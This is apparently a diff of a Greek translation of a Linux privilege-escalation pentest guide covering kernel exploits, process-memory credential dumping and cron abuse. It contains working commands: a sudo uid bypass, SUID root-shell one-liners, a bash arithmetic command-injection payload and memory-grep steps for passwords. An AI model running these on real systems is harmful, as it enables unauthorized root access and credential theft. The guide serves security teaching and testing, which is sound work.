diff --git a/src/images/k8studio.jpg b/src/images/k8studio.jpg deleted file mode 100644 index 1c427e89f..000000000 Binary files a/src/images/k8studio.jpg and /dev/null differ diff --git a/src/images/k8studio.png b/src/images/k8studio.png new file mode 100644 index 000000000..0add889f2 Binary files /dev/null and b/src/images/k8studio.png differ diff --git a/src/linux-hardening/privilege-escalation/README.md b/src/linux-hardening/privilege-escalation/README.md index 23597bf37..58afab0f1 100644 --- a/src/linux-hardening/privilege-escalation/README.md +++ b/src/linux-hardening/privilege-escalation/README.md @@ -6,7 +6,7 @@ ### Πληροφορίες OS -Ας ξεκινήσουμε αποκτώντας κάποιες πληροφορίες για το OS που τρέχει +Ας ξεκινήσουμε συγκεντρώνοντας πληροφορίες για το OS που τρέχει ```bash (cat /proc/version || uname -a ) 2>/dev/null lsb_release -a 2>/dev/null # old, not by default on many systems @@ -14,11 +14,11 @@ cat /etc/os-release 2>/dev/null # universal on modern systems ``` ### Path -Εάν **έχετε δικαιώματα εγγραφής σε οποιονδήποτε φάκελο μέσα στη μεταβλητή `PATH`** ενδέχεται να μπορείτε να hijack ορισμένες βιβλιοθήκες ή δυαδικά αρχεία: +Εάν **έχετε δικαιώματα εγγραφής σε οποιονδήποτε φάκελο μέσα στη μεταβλητή `PATH`**, ενδέχεται να μπορείτε να hijack κάποιες βιβλιοθήκες ή binaries: ```bash echo $PATH ``` -### Πληροφορίες περιβάλλοντος +### Πληροφορίες Env Υπάρχουν ενδιαφέρουσες πληροφορίες, passwords ή API keys στις μεταβλητές περιβάλλοντος; ```bash @@ -26,26 +26,26 @@ echo $PATH ``` ### Kernel exploits -Ελέγξτε την έκδοση του kernel και αν υπάρχει κάποιο exploit που μπορεί να χρησιμοποιηθεί για να escalate privileges +Ελέγξτε την έκδοση του kernel και δείτε αν υπάρχει κάποιο exploit που μπορεί να χρησιμοποιηθεί για να escalate privileges ```bash cat /proc/version uname -a searchsploit "Linux Kernel" ``` -Μπορείτε να βρείτε μια καλή λίστα με ευάλωτους kernels και μερικά ήδη **compiled exploits** εδώ: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) και [exploitdb sploits](https://gitlab.com/exploit-database/exploitdb-bin-sploits).\ +Μπορείτε να βρείτε μια καλή λίστα ευάλωτων kernel και μερικά ήδη **compiled exploits** εδώ: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) και [exploitdb sploits](https://gitlab.com/exploit-database/exploitdb-bin-sploits).\ Άλλοι ιστότοποι όπου μπορείτε να βρείτε μερικά **compiled exploits**: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack) -Για να εξάγετε όλες τις ευάλωτες εκδόσεις kernel από αυτόν τον ιστότοπο μπορείτε να κάνετε: +Για να εξαγάγετε όλες τις ευάλωτες εκδόσεις kernel από αυτόν τον ιστότοπο μπορείτε να κάνετε: ```bash curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2>/dev/null | grep "Kernels: " | cut -d ":" -f 2 | cut -d "<" -f 1 | tr -d "," | tr ' ' '\n' | grep -v "^\d\.\d$" | sort -u -r | tr '\n' ' ' ``` -Εργαλεία που μπορούν να βοηθήσουν στην αναζήτηση kernel exploits είναι: +Εργαλεία που μπορούν να βοηθήσουν στην αναζήτηση για kernel exploits είναι: [linux-exploit-suggester.sh](https://github.com/mzet-/linux-exploit-suggester)\ [linux-exploit-suggester2.pl](https://github.com/jondonas/linux-exploit-suggester-2)\ -[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (εκτέλεση στο θύμα, ελέγχει μόνο exploits για kernel 2.x) +[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (εκτέλεση στο IN victim, ελέγχει μόνο exploits για kernel 2.x) -Πάντα **αναζητήστε την έκδοση του kernel στο Google**, ίσως η έκδοση του kernel σας είναι γραμμένη σε κάποιο kernel exploit και τότε θα είστε σίγουροι ότι αυτό το exploit είναι έγκυρο. +Πάντα **αναζήτησε την έκδοση του kernel στο Google**, ίσως η έκδοση του kernel σου να αναφέρεται σε κάποιο kernel exploit και έτσι θα είσαι σίγουρος ότι αυτό το exploit είναι έγκυρο. ### CVE-2016-5195 (DirtyCow) @@ -57,7 +57,7 @@ g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs https://github.com/evait-security/ClickNRoot/blob/master/1/exploit.c ``` -### Sudo έκδοση +### Sudo version Βασισμένο στις ευάλωτες εκδόσεις του sudo που εμφανίζονται στο: ```bash @@ -67,26 +67,26 @@ searchsploit sudo ```bash sudo -V | grep "Sudo ver" | grep "1\.[01234567]\.[0-9]\+\|1\.8\.1[0-9]\*\|1\.8\.2[01234567]" ``` -#### sudo < v1.28 +#### sudo < v1.8.28 Από @sickrov ``` sudo -u#-1 /bin/bash ``` -### Dmesg: η επαλήθευση της υπογραφής απέτυχε +### Dmesg: Η επαλήθευση υπογραφής απέτυχε -Δείτε το **smasher2 box of HTB** για ένα **παράδειγμα** του πώς αυτή η vuln θα μπορούσε να εκμεταλλευθεί. +Δείτε το **smasher2 box of HTB** για ένα **παράδειγμα** του πώς αυτό το vuln μπορεί να εκμεταλλευθεί. ```bash dmesg 2>/dev/null | grep "signature" ``` -### Περισσότερη system enumeration +### Περαιτέρω αναγνώριση συστήματος ```bash date 2>/dev/null #Date (df -h || lsblk) #System stats lscpu #CPU info lpstat -a 2>/dev/null #Printers info ``` -## Απαρίθμηση πιθανών αμυνών +## Καταγράψτε πιθανές άμυνες ### AppArmor ```bash @@ -123,8 +123,7 @@ cat /proc/sys/kernel/randomize_va_space 2>/dev/null ``` ## Docker Breakout -Εάν βρίσκεστε μέσα σε ένα docker container μπορείτε να προσπαθήσετε να διαφύγετε από αυτό: - +Αν βρίσκεστε μέσα σε ένα docker container μπορείτε να προσπαθήσετε να αποδράσετε από αυτό: {{#ref}} docker-security/ @@ -132,7 +131,7 @@ docker-security/ ## Δίσκοι -Ελέγξτε **what is mounted and unmounted**, πού και γιατί. Εάν κάτι είναι unmounted μπορείτε να προσπαθήσετε να το mount και να ελέγξετε για ιδιωτικές πληροφορίες +Ελέγξτε **τι είναι mounted και unmounted**, πού και γιατί. Αν κάτι είναι unmounted, μπορείτε να προσπαθήσετε να το mount και να ελέγξετε για ιδιωτικές πληροφορίες ```bash ls /dev 2>/dev/null | grep -i "sd" cat /etc/fstab 2>/dev/null | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null @@ -141,60 +140,60 @@ grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc ``` ## Χρήσιμο λογισμικό -Απαριθμήστε χρήσιμα binaries +Απαρίθμηση χρήσιμων binaries ```bash which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null ``` -Επίσης, έλεγξε αν **any compiler is installed**. Αυτό είναι χρήσιμο αν χρειαστεί να χρησιμοποιήσεις κάποιο kernel exploit, καθώς συνιστάται να compile το exploit στο μηχάνημα όπου πρόκειται να το χρησιμοποιήσεις (ή σε ένα παρόμοιο). +Επίσης, έλεγξε αν **any compiler is installed**. Αυτό είναι χρήσιμο αν χρειαστεί να χρησιμοποιήσεις κάποιο kernel exploit, καθώς συνιστάται να το compile στο μηχάνημα όπου πρόκειται να το χρησιμοποιήσεις (ή σε ένα παρόμοιο). ```bash (dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/") ``` -### Vulnerable Software Installed +### Εγκατεστημένο Ευάλωτο Λογισμικό -Ελέγξτε για την **έκδοση των εγκατεστημένων πακέτων και υπηρεσιών**. Ίσως υπάρχει κάποια παλιά έκδοση του Nagios (για παράδειγμα) που θα μπορούσε να αξιοποιηθεί για escalating privileges…\ -Συνιστάται να ελέγξετε χειροκίνητα την έκδοση του πιο ύποπτου εγκατεστημένου λογισμικού. +Ελέγξτε την **έκδοση των εγκατεστημένων πακέτων και υπηρεσιών**. Ίσως υπάρχει κάποια παλιά έκδοση του Nagios (για παράδειγμα) που θα μπορούσε να αξιοποιηθεί για ανύψωση προνομίων…\ +Συνιστάται να ελέγξετε χειροκίνητα τις εκδόσεις του πιο ύποπτου εγκατεστημένου λογισμικού. ```bash dpkg -l #Debian rpm -qa #Centos ``` -Αν έχετε SSH πρόσβαση στο μηχάνημα, μπορείτε επίσης να χρησιμοποιήσετε **openVAS** για να ελέγξετε για παρωχημένο ή ευάλωτο λογισμικό που είναι εγκατεστημένο στο μηχάνημα. +Εάν έχετε πρόσβαση SSH στο μηχάνημα, μπορείτε επίσης να χρησιμοποιήσετε **openVAS** για να ελέγξετε για παρωχημένο ή ευάλωτο λογισμικό εγκατεστημένο στο μηχάνημα. -> [!NOTE] > _Σημειώστε ότι αυτές οι εντολές θα εμφανίσουν πολλές πληροφορίες που κατά το μεγαλύτερο μέρος θα είναι άχρηστες, επομένως συνιστάται η χρήση εφαρμογών όπως το OpenVAS ή παρόμοιων που θα ελέγξουν αν κάποια εγκατεστημένη έκδοση λογισμικού είναι ευάλωτη σε γνωστά exploits_ +> [!NOTE] > _Σημειώστε ότι αυτές οι εντολές θα εμφανίσουν πολλές πληροφορίες που κατά κύριο λόγο θα είναι άχρηστες, γι' αυτό συνιστάται η χρήση εφαρμογών όπως η OpenVAS ή παρόμοιων που θα ελέγξουν αν κάποια εγκατεστημένη έκδοση λογισμικού είναι ευάλωτη σε γνωστά exploits_ -## Processes +## Διεργασίες -Ρίξτε μια ματιά σε **τις διεργασίες** που εκτελούνται και ελέγξτε αν κάποια διεργασία έχει **περισσότερα προνόμια απ' ό,τι θα έπρεπε** (ίσως ένα tomcat που εκτελείται από root?) +Ρίξτε μια ματιά στις **ποιες διεργασίες** εκτελούνται και ελέγξτε αν κάποια διεργασία έχει **περισσότερα δικαιώματα απ' όσα θα έπρεπε** (ίσως ένα tomcat να εκτελείται από τον root?) ```bash ps aux ps -ef top -n 1 ``` Always check for possible [**electron/cef/chromium debuggers** running, you could abuse it to escalate privileges](electron-cef-chromium-debugger-abuse.md). **Linpeas** detect those by checking the `--inspect` parameter inside the command line of the process.\ -Also **check your privileges over the processes binaries**, maybe you can overwrite someone. +Επίσης **έλεγξε τα προνόμιά σου πάνω στα binaries των διεργασιών**, ίσως μπορείς να αντικαταστήσεις κάποιο. ### Παρακολούθηση διεργασιών Μπορείς να χρησιμοποιήσεις εργαλεία όπως [**pspy**](https://github.com/DominicBreuker/pspy) για να παρακολουθείς διεργασίες. Αυτό μπορεί να είναι πολύ χρήσιμο για να εντοπίσεις ευάλωτες διεργασίες που εκτελούνται συχνά ή όταν πληρούνται συγκεκριμένες προϋποθέσεις. -### Μνήμη διεργασιών +### Μνήμη διεργασίας -Κάποιες υπηρεσίες σε έναν server αποθηκεύουν **διαπιστευτήρια σε απλό κείμενο μέσα στη μνήμη**.\ -Κανονικά θα χρειαστείς **root privileges** για να διαβάσεις τη μνήμη διεργασιών που ανήκουν σε άλλους χρήστες, επομένως αυτό είναι συνήθως πιο χρήσιμο όταν είσαι ήδη root και θες να ανακαλύψεις περισσότερα διαπιστευτήρια.\ -Ωστόσο, να θυμάσαι ότι **ως κανονικός χρήστης μπορείς να διαβάσεις τη μνήμη των διεργασιών που σου ανήκουν**. +Κάποιες υπηρεσίες ενός server αποθηκεύουν **credentials in clear text inside the memory**.\ +Κανονικά θα χρειαστείς **root privileges** για να διαβάσεις τη μνήμη διεργασιών που ανήκουν σε άλλους χρήστες, επομένως αυτό είναι συνήθως πιο χρήσιμο όταν είσαι ήδη root και θέλεις να ανακαλύψεις περισσότερα credentials.\ +Ωστόσο, θυμήσου ότι **ως κανονικός χρήστης μπορείς να διαβάσεις τη μνήμη των διεργασιών που σου ανήκουν**. > [!WARNING] -> Σημείωσε ότι σήμερα τα περισσότερα μηχανήματα **δεν επιτρέπουν ptrace από προεπιλογή**, που σημαίνει ότι δεν μπορείς να κάνεις dump άλλων διεργασιών που ανήκουν σε μη προνομιακό χρήστη. +> Σημειώστε ότι σήμερα τα περισσότερα μηχανήματα **δεν επιτρέπουν ptrace από προεπιλογή**, πράγμα που σημαίνει ότι δεν μπορείτε να κάνετε dump άλλες διεργασίες που ανήκουν σε μη προνομιούχο χρήστη. > -> Το αρχείο _**/proc/sys/kernel/yama/ptrace_scope**_ ελέγχει την πρόσβαση στο ptrace: +> Το αρχείο _**/proc/sys/kernel/yama/ptrace_scope**_ ελέγχει την προσβασιμότητα του ptrace: > -> - **kernel.yama.ptrace_scope = 0**: όλες οι διεργασίες μπορούν να αποσφαλματωθούν, αρκεί να έχουν το ίδιο uid. Αυτός ήταν ο κλασικός τρόπος λειτουργίας του ptracing. -> - **kernel.yama.ptrace_scope = 1**: μόνο μια γονική διεργασία μπορεί να αποσφαλματωθεί. -> - **kernel.yama.ptrace_scope = 2**: Μόνο ο admin μπορεί να χρησιμοποιήσει ptrace, καθώς απαιτείται η ικανότητα CAP_SYS_PTRACE. -> - **kernel.yama.ptrace_scope = 3**: Καμία διεργασία δεν μπορεί να ιχνηλατηθεί με ptrace. Μόλις οριστεί, απαιτείται επανεκκίνηση για να ενεργοποιηθεί ξανά το ptracing. +> - **kernel.yama.ptrace_scope = 0**: all processes can be debugged, as long as they have the same uid. This is the classical way of how ptracing worked. +> - **kernel.yama.ptrace_scope = 1**: only a parent process can be debugged. +> - **kernel.yama.ptrace_scope = 2**: Only admin can use ptrace, as it required CAP_SYS_PTRACE capability. +> - **kernel.yama.ptrace_scope = 3**: No processes may be traced with ptrace. Once set, a reboot is needed to enable ptracing again. #### GDB -Εάν έχεις πρόσβαση στη μνήμη μιας υπηρεσίας FTP (για παράδειγμα) μπορείς να εξάγεις το Heap και να αναζητήσεις μέσα του διαπιστευτήρια. +Αν έχεις πρόσβαση στη μνήμη μιας υπηρεσίας FTP (για παράδειγμα) μπορείς να πάρεις το Heap και να ψάξεις μέσα του για credentials. ```bash gdb -p (gdb) info proc mappings @@ -203,7 +202,7 @@ gdb -p (gdb) q strings /tmp/mem_ftp #User and password ``` -#### GDB Σενάριο +#### GDB Script ```bash:dump-memory.sh #!/bin/bash #./dump-memory.sh @@ -216,7 +215,7 @@ done ``` #### /proc/$pid/maps & /proc/$pid/mem -Για ένα δεδομένο process ID, **maps δείχνουν πώς η μνήμη αντιστοιχίζεται μέσα στον** εικονικό χώρο διευθύνσεων της διαδικασίας· δείχνουν επίσης τα **δικαιώματα κάθε αντιστοιχισμένης περιοχής**. Το ψευδο-αρχείο **mem** **αποκαλύπτει την ίδια τη μνήμη της διαδικασίας**. Από το αρχείο **maps** γνωρίζουμε ποιες **περιοχές μνήμης είναι αναγνώσιμες** και τα offsets τους. Χρησιμοποιούμε αυτές τις πληροφορίες για να **seek στο αρχείο mem και να dump όλες τις αναγνώσιμες περιοχές** σε ένα αρχείο. +Για ένα δοσμένο process ID, τα **maps δείχνουν πώς η μνήμη έχει αντιστοιχιστεί εντός του** εικονικού χώρου διευθύνσεων αυτής της διεργασίας· δείχνουν επίσης τα **δικαιώματα κάθε χαρτογραφημένης περιοχής**. Το ψευδο-αρχείο **mem** **αποκαλύπτει την ίδια τη μνήμη της διεργασίας**. Από το αρχείο **maps** γνωρίζουμε ποιες **περιοχές μνήμης είναι αναγνώσιμες** και τις offset τους. Χρησιμοποιούμε αυτές τις πληροφορίες για να **seek στο mem file και να dump όλες τις αναγνώσιμες περιοχές** σε ένα αρχείο. ```bash procdump() ( @@ -231,14 +230,14 @@ rm $1*.bin ``` #### /dev/mem -`/dev/mem` παρέχει πρόσβαση στην **φυσική** μνήμη του συστήματος, όχι στην εικονική μνήμη. Ο εικονικός χώρος διευθύνσεων του kernel μπορεί να προσπελαστεί χρησιμοποιώντας /dev/kmem.\ -Συνήθως, `/dev/mem` είναι αναγνώσιμο μόνο από τον **root** και την ομάδα **kmem**. +`/dev/mem` παρέχει πρόσβαση στη **φυσική** μνήμη του συστήματος, όχι στην εικονική μνήμη. Ο εικονικός χώρος διευθύνσεων του πυρήνα μπορεί να προσπελαστεί χρησιμοποιώντας /dev/kmem.\ +Συνήθως, `/dev/mem` μπορεί να διαβαστεί μόνο από τον **root** και την ομάδα **kmem**. ``` strings /dev/mem -n10 | grep -i PASS ``` -### ProcDump για linux +### ProcDump for linux -Το ProcDump είναι η εκδοχή για Linux του κλασικού εργαλείου ProcDump από τη σουίτα εργαλείων Sysinternals για Windows. Βρες το στο [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux) +ProcDump είναι μια επανεξέλιξη για Linux του κλασικού εργαλείου ProcDump από τη σουίτα εργαλείων Sysinternals για Windows. Βρείτε το στο [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux) ``` procdump -p 1714 @@ -270,8 +269,8 @@ Press Ctrl-C to end monitoring without terminating the process. Για να κάνετε dump τη μνήμη μιας διεργασίας μπορείτε να χρησιμοποιήσετε: - [**https://github.com/Sysinternals/ProcDump-for-Linux**](https://github.com/Sysinternals/ProcDump-for-Linux) -- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_Μπορείτε χειροκίνητα να καταργήσετε τις απαιτήσεις για root και να κάνετε dump τη διεργασία που ανήκει σε εσάς -- Script A.5 from [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (root απαιτείται) +- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_Μπορείτε χειροκίνητα να αφαιρέσετε τις απαιτήσεις root και να κάνετε dump τη διεργασία που ανήκει σε εσάς +- Script A.5 από [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (απαιτείται root) ### Διαπιστευτήρια από τη μνήμη διεργασίας @@ -282,17 +281,17 @@ Press Ctrl-C to end monitoring without terminating the process. ps -ef | grep "authenticator" root 2027 2025 0 11:46 ? 00:00:00 authenticator ``` -Μπορείτε να dump το process (δείτε τις προηγούμενες ενότητες για να βρείτε διαφορετικούς τρόπους να dump τη memory ενός process) και να αναζητήσετε credentials μέσα στη memory: +Μπορείτε να dump the process (δείτε τις προηγούμενες ενότητες για να βρείτε διαφορετικούς τρόπους για να dump the memory ενός process) και να αναζητήσετε credentials μέσα στη memory: ```bash ./dump-memory.sh 2027 strings *.dump | grep -i password ``` #### mimipenguin -Το εργαλείο [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) θα **steal clear text credentials from memory** και από μερικά **well known files**. Απαιτεί δικαιώματα root για να λειτουργήσει σωστά. +Το εργαλείο [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) θα **κλέψει διαπιστευτήρια σε απλό κείμενο από τη μνήμη** και από κάποια **καλά γνωστά αρχεία**. Απαιτεί δικαιώματα root για να λειτουργήσει σωστά. -| Δυνατότητα | Όνομα Διεργασίας | -| ------------------------------------------------- | -------------------- | +| Χαρακτηριστικό | Όνομα διεργασίας | +| ------------------------------------------------ | -------------------- | | GDM password (Kali Desktop, Debian Desktop) | gdm-password | | Gnome Keyring (Ubuntu Desktop, ArchLinux Desktop) | gnome-keyring-daemon | | LightDM (Ubuntu Desktop) | lightdm | @@ -314,51 +313,53 @@ Reading symbols from /lib/x86_64-linux-gnu/librt.so.1... # finding secrets # results in /tmp/tmp.o6HV0Pl3fe/results.txt ``` -## Προγραμματισμένες εργασίες/Cron jobs +## Προγραμματισμένα/Cron jobs -### Crontab UI (alseambusher) που τρέχει ως root – web-based scheduler privesc +### Crontab UI (alseambusher) running as root – web-based scheduler privesc -Αν ένα web “Crontab UI” panel (alseambusher/crontab-ui) τρέχει ως root και είναι δεσμευμένο μόνο στο loopback, μπορείτε να το προσεγγίσετε μέσω SSH local port-forwarding και να δημιουργήσετε μια privileged job για privesc. +Εάν ένα web “Crontab UI” panel (alseambusher/crontab-ui) τρέχει ως root και είναι δεσμευμένο μόνο στο loopback, μπορείτε να το προσεγγίσετε μέσω SSH local port-forwarding και να δημιουργήσετε μια privileged job για privesc. Τυπική αλυσίδα -- Εντοπισμός loopback-only port (π.χ., 127.0.0.1:8000) και Basic-Auth realm μέσω `ss -ntlp` / `curl -v localhost:8000` -- Βρείτε διαπιστευτήρια σε λειτουργικά artifacts: - - Backups/scripts με `zip -P ` - - systemd unit που εκθέτει `Environment="BASIC_AUTH_USER=..."`, `Environment="BASIC_AUTH_PWD=..."` -- Tunnel και login: +- Discover loopback-only port (e.g., 127.0.0.1:8000) and Basic-Auth realm via `ss -ntlp` / `curl -v localhost:8000` +- Find credentials in operational artifacts: +- Backups/scripts with `zip -P ` +- systemd unit exposing `Environment="BASIC_AUTH_USER=..."`, `Environment="BASIC_AUTH_PWD=..."` +- Tunnel and login: ```bash ssh -L 9001:localhost:8000 user@target # browse http://localhost:9001 and authenticate ``` -- Δημιουργήστε ένα high-priv job και τρέξτε το αμέσως (drops SUID shell): +- Δημιουργήστε μια εργασία με υψηλά προνόμια και εκτελέστε την αμέσως (δημιουργεί SUID shell): ```bash # Name: escalate # Command: cp /bin/bash /tmp/rootshell && chmod 6777 /tmp/rootshell ``` -- Χρησιμοποίησέ το: +- Χρησιμοποιήστε το: ```bash /tmp/rootshell -p # root shell ``` -Σκληροποίηση -- Μην τρέχετε το Crontab UI ως root; περιορίστε το σε dedicated user με ελάχιστα permissions -- Bind to localhost και επιπλέον περιορίστε την πρόσβαση μέσω firewall/VPN; μην επαναχρησιμοποιείτε passwords -- Αποφύγετε την ενσωμάτωση secrets σε unit files; χρησιμοποιήστε secret stores ή root-only EnvironmentFile +Σκληραγώγηση +- Μην εκτελείτε το Crontab UI ως root· περιορίστε το με έναν αφιερωμένο χρήστη και ελάχιστα δικαιώματα +- Δεσμεύστε σε localhost και επιπλέον περιορίστε την πρόσβαση μέσω firewall/VPN· μην επαναχρησιμοποιείτε κωδικούς +- Αποφύγετε την ενσωμάτωση secrets σε unit files· χρησιμοποιήστε secret stores ή root-only EnvironmentFile - Ενεργοποιήστε audit/logging για on-demand job executions -Ελέγξτε αν κάποια scheduled job είναι ευάλωτη. Ίσως μπορείτε να εκμεταλλευτείτε ένα script που εκτελείται από root (wildcard vuln; μπορείτε να τροποποιήσετε αρχεία που χρησιμοποιεί ο root; χρήση symlinks; δημιουργία συγκεκριμένων αρχείων στον κατάλογο που χρησιμοποιεί ο root?). + + +Ελέγξτε αν κάποια προγραμματισμένη εργασία είναι ευάλωτη. Ίσως μπορείτε να εκμεταλλευτείτε ένα script που εκτελείται από root (wildcard vuln; μπορείτε να τροποποιήσετε αρχεία που χρησιμοποιεί ο root; να χρησιμοποιήσετε symlinks; να δημιουργήσετε συγκεκριμένα αρχεία στον κατάλογο που χρησιμοποιεί ο root?). ```bash crontab -l ls -al /etc/cron* /etc/at* cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root 2>/dev/null | grep -v "^#" ``` -### Διαδρομή του cron +### Cron path Για παράδειγμα, μέσα στο _/etc/crontab_ μπορείτε να βρείτε το PATH: _PATH=**/home/user**:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin_ -(_Σημειώστε πώς ο χρήστης "user" έχει δικαιώματα εγγραφής πάνω στο /home/user_) +(_Σημειώστε πώς ο χρήστης "user" έχει δικαιώματα εγγραφής στο /home/user_) -Εάν μέσα σε αυτό το crontab ο χρήστης root προσπαθεί να εκτελέσει κάποια εντολή ή script χωρίς να ορίσει το PATH. Για παράδειγμα: _\* \* \* \* root overwrite.sh_\ +Αν μέσα σε αυτό το crontab ο χρήστης root προσπαθήσει να εκτελέσει κάποια εντολή ή script χωρίς να ορίσει το PATH. Για παράδειγμα: _\* \* \* \* root overwrite.sh_\ Τότε, μπορείτε να αποκτήσετε ένα root shell χρησιμοποιώντας: ```bash echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh @@ -367,13 +368,13 @@ echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh ``` ### Cron που χρησιμοποιεί ένα script με wildcard (Wildcard Injection) -Αν ένα script εκτελείται από root και έχει “**\***” μέσα σε μια εντολή, μπορείς να το εκμεταλλευτείς για να προκαλέσεις απροσδόκητα αποτελέσματα (όπως privesc). Παράδειγμα: +Αν ένα script που εκτελείται από root περιέχει “**\***” μέσα σε μια command, μπορείτε να το εκμεταλλευτείτε για να κάνετε απρόβλεπτα πράγματα (όπως privesc). Παράδειγμα: ```bash rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script ``` -**Εάν το wildcard προηγείται από ένα path όπως** _**/some/path/\***_ **, δεν είναι ευάλωτο (ούτε** _**./\***_ **είναι).** +**Αν το wildcard προηγείται μιας διαδρομής όπως** _**/some/path/\***_ **, δεν είναι ευάλωτο (ακόμα και** _**./\***_ **δεν είναι).** -Read the following page for more wildcard exploitation tricks: +Διάβασε την παρακάτω σελίδα για περισσότερα wildcard exploitation tricks: {{#ref}} @@ -383,11 +384,11 @@ wildcards-spare-tricks.md ### Bash arithmetic expansion injection in cron log parsers -Bash performs parameter expansion and command substitution before arithmetic evaluation in ((...)), $((...)) and let. If a root cron/parser reads untrusted log fields and feeds them into an arithmetic context, an attacker can inject a command substitution $(...) that executes as root when the cron runs. +O Bash εκτελεί parameter expansion και command substitution πριν από την arithmetic evaluation σε ((...)), $((...)) και let. Αν ένας root cron/parser διαβάζει untrusted log fields και τα τροφοδοτεί σε arithmetic context, ένας attacker μπορεί να εισάγει ένα command substitution $(...) που εκτελείται ως root όταν τρέξει το cron. -- Γιατί λειτουργεί: Στον Bash, οι expansions γίνονται με αυτή τη σειρά: parameter/variable expansion, command substitution, arithmetic expansion, στη συνέχεια word splitting και pathname expansion. Έτσι μια τιμή όπως `$(/bin/bash -c 'id > /tmp/pwn')0` υποκαθίσταται πρώτα (εκτελώντας την εντολή), και το υπόλοιπο numeric `0` χρησιμοποιείται για την arithmetic ώστε το script να συνεχίσει χωρίς σφάλματα. +- Γιατί λειτουργεί: Στον Bash, οι expansions συμβαίνουν με την εξής σειρά: parameter/variable expansion, command substitution, arithmetic expansion, και μετά word splitting και pathname expansion. Έτσι μια τιμή όπως `$(/bin/bash -c 'id > /tmp/pwn')0` αντικαθίσταται πρώτα (εκτελώντας την εντολή), και το υπόλοιπο αριθμητικό `0` χρησιμοποιείται για την arithmetic ώστε το script να συνεχίσει χωρίς σφάλματα. -- Τυπικό ευάλωτο μοτίβο: +- Τυπικό vulnerable pattern: ```bash #!/bin/bash # Example: parse a log and "sum" a count field coming from the log @@ -397,7 +398,7 @@ while IFS=',' read -r ts user count rest; do done < /var/www/app/log/application.log ``` -- Exploitation: Γράψτε attacker-controlled κείμενο στο parsed log έτσι ώστε το πεδίο που μοιάζει με αριθμό να περιέχει μια command substitution και να τελειώνει με ένα ψηφίο. Βεβαιωθείτε ότι η εντολή σας δεν γράφει στο stdout (ή την ανακατευθύνετε) ώστε η arithmetic να παραμένει έγκυρη. +- Εκμετάλλευση: Γράψε attacker-controlled text στο parsed log έτσι ώστε το πεδίο που μοιάζει με αριθμό να περιέχει ένα command substitution και να τελειώνει με ένα ψηφίο. Βεβαιώσου ότι η εντολή σου δεν τυπώνει στο stdout (ή ανακατεύθυνέ το) ώστε το arithmetic να παραμένει έγκυρο. ```bash # Injected field value inside the log (e.g., via a crafted HTTP request that the app logs verbatim): $(/bin/bash -c 'cp /bin/bash /tmp/sh; chmod +s /tmp/sh')0 @@ -406,83 +407,83 @@ $(/bin/bash -c 'cp /bin/bash /tmp/sh; chmod +s /tmp/sh')0 ### Cron script overwriting and symlink -Εάν **μπορείτε να τροποποιήσετε ένα cron script** που εκτελείται από root, μπορείτε να αποκτήσετε shell πολύ εύκολα: +Αν **μπορείς να τροποποιήσεις ένα cron script** που εκτελείται από root, μπορείς να αποκτήσεις shell πολύ εύκολα: ```bash echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > #Wait until it is executed /tmp/bash -p ``` -Αν το script που εκτελείται από τον root χρησιμοποιεί ένα **directory where you have full access**, ίσως να είναι χρήσιμο να διαγράψετε αυτόν τον folder και να **create a symlink folder to another one** που θα σερβίρει ένα script ελεγχόμενο από εσάς. +Αν το script που εκτελείται από το root χρησιμοποιεί έναν **κατάλογο στον οποίο έχετε πλήρη πρόσβαση**, ίσως να είναι χρήσιμο να διαγράψετε αυτόν τον φάκελο και να **δημιουργήσετε έναν symlink φάκελο προς κάποιον άλλο** που σερβίρει ένα script που ελέγχετε ```bash ln -d -s ``` ### Συχνά cron jobs -Μπορείτε να παρακολουθήσετε τις διεργασίες για να αναζητήσετε διεργασίες που εκτελούνται κάθε 1, 2 ή 5 λεπτά. Ίσως να μπορέσετε να το αξιοποιήσετε και να escalate privileges. +Μπορείτε να παρακολουθείτε τις διεργασίες για να εντοπίσετε διεργασίες που εκτελούνται κάθε 1, 2 ή 5 λεπτά. Ίσως μπορείτε να το εκμεταλλευτείτε και να escalate privileges. -Για παράδειγμα, για να **παρακολουθείτε κάθε 0.1s για 1 λεπτό**, 